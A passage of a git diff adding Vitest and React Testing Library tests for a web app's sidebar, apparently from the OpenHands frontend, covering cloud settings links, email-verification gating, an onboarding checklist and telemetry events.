+          onClick={() => onSelectOption?.()}
+        >
+          Switch backend
+        </li>
+      </ul>
+      <button
+        type="button"
+        data-testid="mock-add-backend"
+        onClick={() => onOpenAddBackend?.()}
+      >
+        Add Backend
+      </button>
+      <button
+        type="button"
+        data-testid="mock-manage-backends"
+        onClick={() => onOpenManageBackends?.()}
+      >
+        Manage Backends
+      </button>
+    </div>
+  ),
+}));
+
+vi.mock("#/components/features/backends/add-backend-modal", () => ({
+  AddBackendModal: ({ onClose }: { onClose: () => void }) => (
+    <div data-testid="add-backend-modal">
+      <button
+        type="button"
+        data-testid="add-backend-modal-close"
+        onClick={onClose}
+      >
+        Close
+      </button>
+    </div>
+  ),
+}));
+
+vi.mock("#/components/features/backends/manage-backends-modal", () => ({
+  ManageBackendsModal: ({ onClose }: { onClose: () => void }) => (
+    <div data-testid="manage-backends-modal">
+      <button
+        type="button"
+        data-testid="manage-backends-modal-close"
+        onClick={onClose}
+      >
+        Close
+      </button>
+    </div>
+  ),
+}));
+
+vi.mock("#/components/features/sidebar/sidebar-conversation-list", () => ({
+  SidebarConversationList: () => (
+    <div data-testid="sidebar-conversation-list" />
+  ),
+}));
+
+vi.mock("#/hooks/use-settings-nav-items", () => ({
+  useSettingsNavItems: () => [],
+}));
+
+function renderSidebar(currentPath: string) {
+  const navigate = vi.fn();
+  const value: NavigationContextValue = {
+    currentPath,
+    conversationId: null,
+    isNavigating: false,
+    navigate,
+  };
+
+  const rendered = render(
+    <QueryClientProvider client={new QueryClient()}>
+      <NavigationProvider value={value}>
+        <SidebarMobileNavProvider>
+          <Sidebar />
+          <SidebarMobileMenuBar />
+        </SidebarMobileNavProvider>
+      </NavigationProvider>
+    </QueryClientProvider>,
+  );
+
+  return { ...rendered, navigate };
+}
+
+describe("Sidebar with Cloud Backend", () => {
+  beforeEach(() => {
+    window.localStorage.clear();
+    useSidebarStore.setState({ collapsed: false });
+  });
+
+  afterEach(() => {
+    window.localStorage.clear();
+    useSidebarStore.setState({ collapsed: false });
+    cloudBackendMock.orgId = "org-1";
+    vi.unstubAllEnvs();
+  });
+
+  it("opens cloud settings in new tab when connected to cloud backend", () => {
+    useSidebarStore.setState({ collapsed: true });
+    renderSidebar("/conversations");
+
+    const settingsLink = screen.getByTestId("collapsed-settings-link");
+    expect(settingsLink).toBeInTheDocument();
+    expect(settingsLink).toHaveAttribute("target", "_blank");
+    expect(settingsLink).toHaveAttribute(
+      "href",
+      "https://cloud.example.com/settings?org=org-1",
+    );
+  });
+
+  it("omits the org param from the cloud settings link when no org is active", () => {
+    cloudBackendMock.orgId = null;
+    useSidebarStore.setState({ collapsed: true });
+    renderSidebar("/conversations");
+
+    expect(screen.getByTestId("collapsed-settings-link")).toHaveAttribute(
+      "href",
+      "https://cloud.example.com/settings",
+    );
+  });
+
+  it("cloud settings link has correct rel attribute", () => {
+    useSidebarStore.setState({ collapsed: true });
+    renderSidebar("/conversations");
+
+    const settingsLink = screen.getByTestId("collapsed-settings-link");
+    expect(settingsLink).toHaveAttribute("rel", "noopener noreferrer");
+  });
+
+  it("opens cloud settings in the same tab when locked to Cloud", () => {
+    // Arrange: an OHE/SaaS-hosted canvas locked to the active cloud host
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://cloud.example.com");
+    useSidebarStore.setState({ collapsed: true });
+
+    // Act
+    renderSidebar("/conversations");
+
+    // Assert: same tab, so browser Back returns to the canvas
+    const settingsLink = screen.getByTestId("collapsed-settings-link");
+    expect(settingsLink).toHaveAttribute(
+      "href",
+      "https://cloud.example.com/settings?org=org-1",
+    );
+    expect(settingsLink).not.toHaveAttribute("target");
+    expect(settingsLink).not.toHaveAttribute("rel");
+  });
+});
diff --git a/__tests__/components/features/sidebar/sidebar-email-verification.test.tsx b/__tests__/components/features/sidebar/sidebar-email-verification.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7679f2565030716a4b463a381a05b8750c894638
--- /dev/null
+++ b/__tests__/components/features/sidebar/sidebar-email-verification.test.tsx
@@ -0,0 +1,160 @@
+import { render, screen } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { Sidebar } from "#/components/features/sidebar/sidebar";
+import {
+  NavigationProvider,
+  type NavigationContextValue,
+} from "#/context/navigation-context";
+import { SidebarMobileNavProvider } from "#/components/features/sidebar/sidebar-mobile-nav-context";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { useSidebarStore } from "#/stores/sidebar-store";
+import { useSettings } from "#/hooks/query/use-settings";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import OptionService from "#/api/option-service/option-service.api";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import type { Settings } from "#/types/settings";
+import type { WebClientConfig } from "#/api/option-service/option.types";
+import type { Backend } from "#/api/backend-registry/types";
+
+// Isolate the sidebar down to its top-level navigation. These are peripheral to
+// email-verification gating: the conversation list and backend selector fetch
+// their own data, the command menu is a search launcher, and the logo is
+// decorative. Mocking the *components* (not the settings/backend hooks under
+// test) keeps the render deterministic.
+vi.mock("#/components/features/sidebar/sidebar-conversation-list", () => ({
+  SidebarConversationList: () => (
+    <div data-testid="sidebar-conversation-list" />
+  ),
+}));
+vi.mock("#/components/features/backends/backend-selector", () => ({
+  BackendSelector: () => <div data-testid="backend-selector" />,
+}));
+vi.mock("#/components/features/command-menu/command-menu-trigger", () => ({
+  CommandMenuTrigger: () => <div data-testid="command-menu-trigger" />,
+}));
+vi.mock("#/components/shared/buttons/openhands-logo-button", () => ({
+  OpenHandsLogoButton: () => <div data-testid="logo-button" />,
+}));
+
+// The backend-health hook polls each backend over the network to drive a status
+// dot shown only in the collapsed rail — unrelated to the behavior under test.
+// Stub it so no probe fires (service-level mocking isn't practical here: the
+// probe instantiates SDK clients inline).
+vi.mock("#/hooks/query/use-backends-health", () => ({
+  useBackendsHealth: () => ({}),
+}));
+
+const TEST_BACKEND: Backend = {
+  id: "test-local",
+  name: "Local",
+  host: "http://localhost:3000",
+  apiKey: "test-key",
+  kind: "local",
+};
+
+function buildSettings(overrides: Partial<Settings> = {}): Settings {
+  return {
+    ...MOCK_DEFAULT_USER_SETTINGS,
+    ...overrides,
+    agent_settings:
+      overrides.agent_settings ?? MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+  };
+}
+
+function buildConfig(): WebClientConfig {
+  return {
+    feature_flags: { hide_llm_settings: false, hide_users_page: true },
+    providers_configured: [],
+    maintenance_start_time: null,
+    recaptcha_site_key: null,
+    faulty_models: [],
+    error_message: null,
+    updated_at: "2026-01-01T00:00:00.000Z",
+  };
+}
+
+// Renders the sidebar next to a probe that flips a marker once the settings
+// query settles with an unverified email. Waiting on the marker means the
+// assertions observe the resolved `email_verified: false` state — the exact
+// condition that used to disable the links — rather than the loading frame.
+function ProbedSidebar() {
+  const settings = useSettings();
+  return (
+    <>
+      <Sidebar />
+      {settings.isFetched && settings.data?.email_verified === false ? (
+        <div data-testid="settings-loaded" />
+      ) : null}
+    </>
+  );
+}
+
+function renderSidebar() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  const navigation: NavigationContextValue = {
+    currentPath: "/",
+    conversationId: null,
+    isNavigating: false,
+    navigate: vi.fn(),
+  };
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>
+        <NavigationProvider value={navigation}>
+          <SidebarMobileNavProvider>
+            <ProbedSidebar />
+          </SidebarMobileNavProvider>
+        </NavigationProvider>
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+describe("Sidebar email verification", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    window.localStorage.clear();
+    window.sessionStorage.clear();
+    useSidebarStore.setState({ collapsed: false });
+    // A resolved local backend is required; otherwise `useSettings`
+    // short-circuits to defaults and never calls the mocked service.
+    setRegisteredBackends([TEST_BACKEND]);
+    setActiveSelection({ backendId: TEST_BACKEND.id, orgId: null });
+    vi.spyOn(OptionService, "getConfig").mockResolvedValue(buildConfig());
+  });
+
+  afterEach(() => {
+    window.localStorage.clear();
+    window.sessionStorage.clear();
+  });
+
+  it("keeps primary navigation enabled when the user's email is unverified", async () => {
+    // Arrange: the OAuth-changed-email state — the backend stays permissive but
+    // reports the address as unverified.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ email_verified: false }),
+    );
+
+    // Act
+    renderSidebar();
+    await screen.findByTestId("settings-loaded");
+
+    // Assert: New Chat, Customize/Extensions, and Automations stay actionable
+    // (a disabled link would carry aria-disabled="true").
+    for (const testId of [
+      "sidebar-conversations-link",
+      "sidebar-skills-link",
+      "sidebar-automations-link",
+    ]) {
+      expect(screen.getByTestId(testId)).not.toHaveAttribute("aria-disabled");
+    }
+  });
+});
diff --git a/__tests__/components/features/sidebar/sidebar-onboarding-checklist-item-preview.test.tsx b/__tests__/components/features/sidebar/sidebar-onboarding-checklist-item-preview.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2048d3cacdcc1227032905bf1885603d87122e31
--- /dev/null
+++ b/__tests__/components/features/sidebar/sidebar-onboarding-checklist-item-preview.test.tsx
@@ -0,0 +1,90 @@
+import { describe, expect, it } from "vitest";
+import { render, screen } from "@testing-library/react";
+import { SidebarOnboardingChecklistItemIcon } from "#/components/features/sidebar/sidebar-onboarding-checklist-item-icon";
+import { SidebarOnboardingChecklistItemPreview } from "#/components/features/sidebar/sidebar-onboarding-checklist-item-preview";
+import {
+  NavigationProvider,
+  type NavigationContextValue,
+} from "#/context/navigation-context";
+import { I18nKey } from "#/i18n/declaration";
+
+const navigation: NavigationContextValue = {
+  currentPath: "/",
+  conversationId: null,
+  isNavigating: false,
+  navigate: () => undefined,
+};
+
+function renderPreview(id: Parameters<typeof SidebarOnboardingChecklistItemPreview>[0]["id"]) {
+  return render(
+    <NavigationProvider value={navigation}>
+      <SidebarOnboardingChecklistItemPreview id={id} />
+    </NavigationProvider>,
+  );
+}
+
+describe("SidebarOnboardingChecklistItemIcon", () => {
+  it.each([
+    ["configure-llm", "sidebar-onboarding-checklist-icon-configure-llm"],
+    ["start-conversation", "sidebar-onboarding-checklist-icon-start-conversation"],
+    ["schedule-task", "sidebar-onboarding-checklist-icon-schedule-task"],
+    ["customize-agent", "sidebar-onboarding-checklist-icon-customize-agent"],
+    ["connect-mcp", "sidebar-onboarding-checklist-icon-connect-mcp"],
+    ["join-slack", "sidebar-onboarding-checklist-icon-join-slack"],
+  ] as const)("renders an icon for %s", (id, testId) => {
+    render(<SidebarOnboardingChecklistItemIcon id={id} />);
+
+    expect(screen.getByTestId(testId)).toBeInTheDocument();
+  });
+});
+
+describe("SidebarOnboardingChecklistItemPreview", () => {
+  it("renders title, icon, action button, and docs link", () => {
+    renderPreview("configure-llm");
+
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-preview-configure-llm"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM_DESC),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-preview-action-configure-llm"),
+    ).toHaveAttribute("href", "/settings/llm");
+    expect(
+      screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_ACTION_CONFIGURE_LLM),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-preview-docs-configure-llm"),
+    ).toHaveAttribute(
+      "href",
+      "https://docs.openhands.dev/openhands/usage/settings/llm-settings#llm-profiles",
+    );
+    expect(
+      screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_DOCS_LINK),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-icon-configure-llm"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders the Slack preview as an external invite action", () => {
+    renderPreview("join-slack");
+
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-preview-join-slack"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-preview-action-join-slack"),
+    ).toHaveAttribute("href", "https://openhands.dev/joinslack");
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-preview-action-join-slack"),
+    ).toHaveAttribute("target", "_blank");
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-preview-docs-join-slack"),
+    ).toHaveAttribute("href", "https://docs.openhands.dev/overview/community");
+  });
+});
diff --git a/__tests__/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.test.ts b/__tests__/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..f2a7ba2a183bbb716288c96637ad9773289890d8
--- /dev/null
+++ b/__tests__/components/features/sidebar/sidebar-onboarding-checklist-llm-complete.test.ts
@@ -0,0 +1,82 @@
+import { describe, expect, it } from "vitest";
+import { DEFAULT_SETTINGS } from "#/services/settings";
+import { isConfigureLlmChecklistItemComplete } from "#/components/features/sidebar/sidebar-onboarding-checklist-llm-complete";
+
+describe("isConfigureLlmChecklistItemComplete", () => {
+  it("returns false while LLM readiness is still indeterminate", () => {
+    expect(
+      isConfigureLlmChecklistItemComplete(
+        DEFAULT_SETTINGS,
+        false,
+        true,
+        undefined,
+        true,
+      ),
+    ).toBe(false);
+  });
+
+  it("returns true when useLlmConfigured reports configured", () => {
+    expect(
+      isConfigureLlmChecklistItemComplete(
+        DEFAULT_SETTINGS,
+        true,
+        false,
+        undefined,
+        false,
+      ),
+    ).toBe(true);
+  });
+
+  it("returns true when any saved LLM profile has an API key", () => {
+    expect(
+      isConfigureLlmChecklistItemComplete(
+        DEFAULT_SETTINGS,
+        false,
+        true,
+        {
+          active_profile: "work",
+          profiles: [
+            {
+              name: "work",
+              model: "openai/gpt-5.5",
+              base_url: "https://api.openai.com/v1",
+              api_key_set: true,
+            },
+          ],
+        },
+        false,
+      ),
+    ).toBe(true);
+  });
+
+  it("returns true when settings already have a model and API key", () => {
+    expect(
+      isConfigureLlmChecklistItemComplete(
+        {
+          ...DEFAULT_SETTINGS,
+          llm_api_key_set: true,
+          agent_settings: {
+            ...(DEFAULT_SETTINGS.agent_settings ?? {}),
+            llm: { model: "openai/gpt-5.5" },
+          },
+        },
+        false,
+        true,
+        undefined,
+        true,
+      ),
+    ).toBe(true);
+  });
+
+  it("returns false when no model or auth is present", () => {
+    expect(
+      isConfigureLlmChecklistItemComplete(
+        DEFAULT_SETTINGS,
+        false,
+        false,
+        { active_profile: null, profiles: [] },
+        false,
+      ),
+    ).toBe(false);
+  });
+});
diff --git a/__tests__/components/features/sidebar/sidebar-onboarding-checklist.test.tsx b/__tests__/components/features/sidebar/sidebar-onboarding-checklist.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..46e3eadade0e9336c9b58f4f8c30ef46dfbc27b7
--- /dev/null
+++ b/__tests__/components/features/sidebar/sidebar-onboarding-checklist.test.tsx
@@ -0,0 +1,405 @@
+import {
+  afterEach,
+  beforeEach,
+  describe,
+  expect,
+  it,
+  type MockInstance,
+  vi,
+} from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { ONBOARDING_COMPLETED_STORAGE_KEY } from "#/components/features/onboarding/use-onboarding-completion";
+import { SidebarOnboardingChecklist } from "#/components/features/sidebar/sidebar-onboarding-checklist";
+import {
+  OPENHANDS_SLACK_COMMUNITY_URL,
+  SIDEBAR_ONBOARDING_CHECKLIST_CUSTOMIZE_EXPLORED_STORAGE_KEY,
+  SIDEBAR_ONBOARDING_CHECKLIST_MINIMIZED_STORAGE_KEY,
+  SIDEBAR_ONBOARDING_CHECKLIST_SLACK_JOINED_STORAGE_KEY,
+} from "#/components/features/sidebar/sidebar-onboarding-checklist.constants";
+import {
+  readSidebarOnboardingChecklistMinimized,
+  readSidebarOnboardingChecklistSlackJoined,
+} from "#/components/features/sidebar/sidebar-onboarding-checklist-storage";
+import {
+  NavigationProvider,
+  type NavigationContextValue,
+} from "#/context/navigation-context";
+import { I18nKey } from "#/i18n/declaration";
+import * as telemetry from "#/services/telemetry";
+
+const mockUsePaginatedConversations = vi.fn();
+const mockUseAutomationHealth = vi.fn();
+const mockUseAutomations = vi.fn();
+const mockUseSettings = vi.fn();
+const mockUseLlmConfigured = vi.fn();
+const mockUseLlmProfiles = vi.fn();
+
+vi.mock("#/hooks/query/use-paginated-conversations", () => ({
+  usePaginatedConversations: () => mockUsePaginatedConversations(),
+}));
+
+vi.mock("#/hooks/query/use-automation-health", () => ({
+  useAutomationHealth: () => mockUseAutomationHealth(),
+}));
+
+vi.mock("#/hooks/query/use-automations", () => ({
+  useAutomations: () => mockUseAutomations(),
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => mockUseSettings(),
+}));
+
+vi.mock("#/hooks/use-llm-configured", () => ({
+  useLlmConfigured: () => mockUseLlmConfigured(),
+}));
+
+vi.mock("#/hooks/query/use-llm-profiles", () => ({
+  useLlmProfiles: () => mockUseLlmProfiles(),
+}));
+
+function renderChecklist() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+  const navigate = vi.fn();
+  const navigation: NavigationContextValue = {
+    currentPath: "/",
+    conversationId: null,
+    isNavigating: false,
+    navigate,
+  };
+
+  return {
+    ...render(
+      <QueryClientProvider client={queryClient}>
+        <NavigationProvider value={navigation}>
+          <SidebarOnboardingChecklist collapsed={false} />
+        </NavigationProvider>
+      </QueryClientProvider>,
+    ),
+    navigate,
+  };
+}
+
+describe("SidebarOnboardingChecklist", () => {
+  beforeEach(() => {
+    window.localStorage.clear();
+    window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1");
+    window.localStorage.removeItem(SIDEBAR_ONBOARDING_CHECKLIST_MINIMIZED_STORAGE_KEY);
+    window.localStorage.removeItem(
+      SIDEBAR_ONBOARDING_CHECKLIST_CUSTOMIZE_EXPLORED_STORAGE_KEY,
+    );
+    window.localStorage.removeItem(
+      SIDEBAR_ONBOARDING_CHECKLIST_SLACK_JOINED_STORAGE_KEY,
+    );
+
+    mockUsePaginatedConversations.mockReturnValue({
+      data: { pages: [{ items: [{ id: "conv-1" }] }] },
+    });
+    mockUseAutomationHealth.mockReturnValue({
+      data: { status: "ok" },
+    });
+    mockUseAutomations.mockReturnValue({
+      data: { total: 0, automations: [] },
+    });
+    mockUseSettings.mockReturnValue({
+      data: {
+        agent_settings: {
+          mcp_config: { mcpServers: {} },
+        },
+      },
+    });
+    mockUseLlmConfigured.mockReturnValue({
+      isConfigured: false,
+      isLoading: false,
+    });
+    mockUseLlmProfiles.mockReturnValue({
+      data: { active_profile: null, profiles: [] },
+      isLoading: false,
+    });
+  });
+
+  it("renders setup items including LLM keys, agent profiles, schedule a task, and Slack", () => {
+    renderChecklist();
+
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-item-configure-llm"),
+    ).toHaveAttribute("href", "/settings/llm");
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-item-connect-mcp"),
+    ).toHaveAttribute("href", "/mcp");
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-item-schedule-task"),
+    ).toHaveAttribute("href", "/automations");
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-item-customize-agent"),
+    ).toHaveAttribute("href", "/settings/agents");
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-item-join-slack"),
+    ).toHaveAttribute("href", OPENHANDS_SLACK_COMMUNITY_URL);
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-item-join-slack"),
+    ).toHaveAttribute("target", "_blank");
+    expect(
+      screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_JOIN_SLACK),
+    ).toBeInTheDocument();
+  });
+
+  it("marks Join Slack complete after the invite link is clicked", async () => {
+    const user = userEvent.setup();
+    renderChecklist();
+
+    const slackItem = screen.getByTestId(
+      "sidebar-onboarding-checklist-item-join-slack",
+    );
+    expect(
+      screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_JOIN_SLACK),
+    ).not.toHaveClass("line-through");
+
+    await user.click(slackItem);
+
+    expect(readSidebarOnboardingChecklistSlackJoined()).toBe(true);
+    expect(
+      screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_JOIN_SLACK),
+    ).toHaveClass("line-through");
+  });
+
+  it("crosses out Add LLM API key when LLM is configured", () => {
+    mockUseLlmConfigured.mockReturnValue({
+      isConfigured: true,
+      isLoading: false,
+    });
+    mockUseLlmProfiles.mockReturnValue({
+      data: {
+        active_profile: "work",
+        profiles: [
+          {
+            name: "work",
+            model: "openai/gpt-5.5",
+            base_url: "https://api.openai.com/v1",
+            api_key_set: true,
+          },
+        ],
+      },
+      isLoading: false,
+    });
+    mockUseSettings.mockReturnValue({
+      data: {
+        llm_api_key_set: true,
+        agent_settings: {
+          llm: { model: "openai/gpt-5.5" },
+          mcp_config: { mcpServers: {} },
+        },
+      },
+    });
+
+    renderChecklist();
+
+    expect(
+      screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM),
+    ).toHaveClass("line-through");
+  });
+
+  it("crosses out Add LLM API key when a saved profile has an API key", () => {
+    mockUseLlmConfigured.mockReturnValue({
+      isConfigured: false,
+      isLoading: true,
+    });
+    mockUseLlmProfiles.mockReturnValue({
+      data: {
+        active_profile: "work",
+        profiles: [
+          {
+            name: "work",
+            model: "openai/gpt-5.5",
+            base_url: "https://api.openai.com/v1",
+            api_key_set: true,
+          },
+        ],
+      },
+      isLoading: false,
+    });
+    mockUseSettings.mockReturnValue({
+      data: {
+        agent_settings: {
+          mcp_config: { mcpServers: {} },
+        },
+      },
+    });
+
+    renderChecklist();
+
+    expect(
+      screen.getByText(I18nKey.SIDEBAR$ONBOARDING_CHECKLIST_CONFIGURE_LLM),
+    ).toHaveClass("line-through");
+  });
+
+  it("hides when the welcome onboarding flow is not complete", () => {
+    window.localStorage.removeItem(ONBOARDING_COMPLETED_STORAGE_KEY);
+    renderChecklist();
+
+    expect(
+      screen.queryByTestId("sidebar-onboarding-checklist"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("minimizes and expands with the caret toggle", async () => {
+    const user = userEvent.setup();
+    renderChecklist();
+
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-item-schedule-task"),
+    ).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("sidebar-onboarding-checklist-toggle"));
+
+    expect(
+      screen.queryByTestId("sidebar-onboarding-checklist-item-schedule-task"),
+    ).not.toBeInTheDocument();
+    expect(readSidebarOnboardingChecklistMinimized()).toBe(true);
+
+    await user.click(screen.getByTestId("sidebar-onboarding-checklist-toggle"));
+
+    expect(
+      screen.getByTestId("sidebar-onboarding-checklist-item-schedule-task"),
+    ).toBeInTheDocument();
+    expect(readSidebarOnboardingChecklistMinimized()).toBe(false);
+  });
+
+  it("hides when collapsed", () => {
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+    });
+    const navigation: NavigationContextValue = {
+      currentPath: "/",
+      conversationId: null,
+      isNavigating: false,
+      navigate: vi.fn(),
+    };
+
+    render(
+      <QueryClientProvider client={queryClient}>
+        <NavigationProvider value={navigation}>
+          <SidebarOnboardingChecklist collapsed />
+        </NavigationProvider>
+      </QueryClientProvider>,
+    );
+
+    expect(
+      screen.queryByTestId("sidebar-onboarding-checklist"),
+    ).not.toBeInTheDocument();
+  });
+
+  describe("onboarding link tracking", () => {
+    let captureMock: MockInstance<typeof telemetry.trackEvent>;
+
+    beforeEach(() => {
+      captureMock = vi
+        .spyOn(telemetry, "trackEvent")
+        .mockResolvedValue(undefined);
+    });
+
+    afterEach(() => {
+      captureMock.mockRestore();
+    });
+
+    const linkClickEvents = () =>
+      captureMock.mock.calls.filter(
+        ([name]) => name === "onboarding_link_clicked",
+      );
+
+    it("captures a single onboarding_link_clicked when the Join Slack row is clicked", async () => {
+      const user = userEvent.setup();
+      renderChecklist();
+
+      await user.click(
+        screen.getByTestId("sidebar-onboarding-checklist-item-join-slack"),
+      );
+
+      expect(linkClickEvents()).toHaveLength(1);
+      expect(linkClickEvents()[0][1]).toMatchObject({
+        link_id: "join_slack",
+        destination_type: "community",
+        surface: "landing_checklist",
+        checklist_item: "join_slack",
+        is_external: true,
+      });
+    });
+
+    it("captures onboarding_link_clicked for an internal row and still navigates", async () => {
+      const user = userEvent.setup();
+      const { navigate } = renderChecklist();
+
+      await user.click(
+        screen.getByTestId("sidebar-onboarding-checklist-item-configure-llm"),
+      );
+
+      expect(linkClickEvents()).toHaveLength(1);
+      expect(linkClickEvents()[0][1]).toMatchObject({
+        link_id: "configure_llm",
+        destination_type: "settings",
+        surface: "landing_checklist",
+        checklist_item: "configure_llm",
+        is_external: false,
+      });
+      expect(navigate).toHaveBeenCalledWith("/settings/llm", {
+        replace: false,
+      });
+    });
+
+    it("captures open_docs with the owning checklist item when a preview docs link is clicked", async () => {
+      const user = userEvent.setup();
+      renderChecklist();
+
+      await user.hover(
+        screen.getByTestId("sidebar-onboarding-checklist-item-connect-mcp"),
+      );
+      await user.click(
+        await screen.findByTestId(
+          "sidebar-onboarding-checklist-preview-docs-connect-mcp",
+        ),
+      );
+
+      expect(linkClickEvents()).toHaveLength(1);
+      expect(linkClickEvents()[0][1]).toMatchObject({
+        link_id: "open_docs",
+        destination_type: "documentation",
+        surface: "landing_checklist",
+        checklist_item: "connect_mcp",
+        is_external: true,
+      });
+    });
+
+    it("captures the row's link_id when a preview action CTA is clicked", async () => {
+      const user = userEvent.setup();
+      renderChecklist();
+
+      await user.hover(
+        screen.getByTestId("sidebar-onboarding-checklist-item-schedule-task"),
+      );
+      await user.click(
+        await screen.findByTestId(
+          "sidebar-onboarding-checklist-preview-action-schedule-task",
+        ),
+      );
+
+      expect(linkClickEvents()).toHaveLength(1);
+      expect(linkClickEvents()[0][1]).toMatchObject({
+        link_id: "schedule_task",
+        destination_type: "automation",
+        surface: "landing_checklist",
+        checklist_item: "schedule_task",
+        is_external: false,
+      });
+    });
+  });
+});
diff --git a/__tests__/components/features/sidebar/sidebar.test.tsx b/__tests__/components/features/sidebar/sidebar.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b2bfcc3b25a57820aca5e13e31f0d686651346b8
--- /dev/null
+++ b/__tests__/components/features/sidebar/sidebar.test.tsx
@@ -0,0 +1,540 @@
+import {
+  render,
+  screen,
+  fireEvent,
+  within,
+  waitFor,
+} from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { Sidebar } from "#/components/features/sidebar/sidebar";
+import { SidebarMobileNavProvider } from "#/components/features/sidebar/sidebar-mobile-nav-context";
+import { SidebarMobileMenuBar } from "#/components/features/sidebar/sidebar-mobile-menu-bar";
+import { useSidebarStore } from "#/stores/sidebar-store";
+import {
+  NavigationProvider,
+  type NavigationContextValue,
+} from "#/context/navigation-context";
+import { getPinnedHomeRouteKey } from "#/hooks/use-pinned-home-route";
+import translations from "#/i18n/translation.json";
+
+// The global `useTranslation` mock in `vitest.setup.ts` returns the key
+// as-is. Override it here so `t(...)` resolves keys via the source-of-truth
+// `translation.json` (English values), letting the test assert real
+// user-facing labels rather than raw keys.
+vi.mock("react-i18next", async () => {
+  const actual = await vi.importActual("react-i18next");
+  return {
+    ...(actual as object),
+    useTranslation: () => ({
+      t: (key: string) => {
+        const entry = (translations as Record<string, Record<string, string>>)[
+          key
+        ];
+        return entry?.en ?? key;
+      },
+      i18n: { language: "en", exists: () => false },
+    }),
+  };
+});
+
+vi.mock("#/hooks/query/use-config", () => ({
+  useConfig: () => ({ data: { feature_flags: {} } }),
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => ({
+    data: { email_verified: true },
+    error: null,
+    isError: false,
+    isFetching: false,
+  }),
+  getErrorStatus: () => undefined,
+}));
+
+vi.mock("#/contexts/active-backend-context", () => {
+  const active = {
+    backend: { id: "local", name: "Local", kind: "local" },
+    orgId: null,
+  };
+
+  return {
+    useActiveBackendContext: () => ({
+      backends: [active.backend],
+      active,
+      setActive: vi.fn(),
+    }),
+    useActiveBackend: () => active,
+  };
+});
+
+vi.mock("#/hooks/query/use-backends-health", () => ({
+  useBackendsHealth: () => ({
+    local: { isConnected: true },
+  }),
+}));
+
+vi.mock("#/components/shared/buttons/styled-tooltip", () => ({
+  StyledTooltip: ({ children }: { children: unknown }) => children,
+}));
+
+vi.mock("#/components/shared/buttons/openhands-logo-button", () => ({
+  OpenHandsLogoButton: () => <div data-testid="logo-button" />,
+}));
+
+vi.mock("#/components/features/sidebar/user-actions", () => ({
+  UserActions: () => <div data-testid="user-actions" />,
+}));
+
+vi.mock("#/components/features/conversation-panel/conversation-panel", () => ({
+  ConversationPanel: () => null,
+}));
+
+vi.mock("#/components/features/sidebar/sidebar-onboarding-checklist", () => ({
+  SidebarOnboardingChecklist: () => (
+    <div data-testid="sidebar-onboarding-checklist" />
